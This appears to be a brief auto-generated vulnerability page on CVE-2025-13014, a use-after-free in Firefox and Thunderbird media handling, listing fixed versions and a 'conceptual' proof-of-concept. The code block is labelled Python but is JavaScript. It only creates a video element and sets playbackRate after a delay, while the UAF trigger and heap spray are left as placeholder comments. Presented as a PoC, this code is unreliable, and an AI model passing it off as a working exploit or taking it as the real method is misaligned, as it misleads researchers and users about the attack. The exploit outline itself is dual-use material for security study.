Use-after-free in the Audio/Video component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Firefox ESR 115.30, Thunderbird 145, and Thunderbird 140.5.
The following code is for security research and authorized testing only.
python
// CVE-2025-13014 PoC - Use-after-free in Audio/Video Component
// This is a conceptual PoC demonstrating the attack vector
// Note: Actual exploit requires specific Firefox/Thunderbird version and media handling conditions
// PoC trigger mechanism (conceptual)
function triggerUAF() {
// Step 1: Create media element
const media = document.createElement('video');
media.src = 'malicious_media.mp4';
// Step 2: Manipulate media lifecycle to trigger UAF
media.addEventListener('loadedmetadata', function() {
// Trigger conditions that lead to use-after-free
// Specific exploitation requires detailed analysis of affected component
// Example trigger sequence:
// 1. Force garbage collection at critical point
// 2. Manipulate media element reference counting
// 3. Access freed object to trigger UAF condition
// Cleanup references to trigger potential UAF
setTimeout(() => {
// Access to freed memory region
media.playbackRate = 1.0;
}, 100);
});
// Step 3: Heap spray to control freed memory
// (Implementation depends on specific vulnerability details)
}
// Mitigation: Update to Firefox 145+, Thunderbird 140.5+
// Reference: https://www.mozilla.org/security/advisories/mfsa2025-87/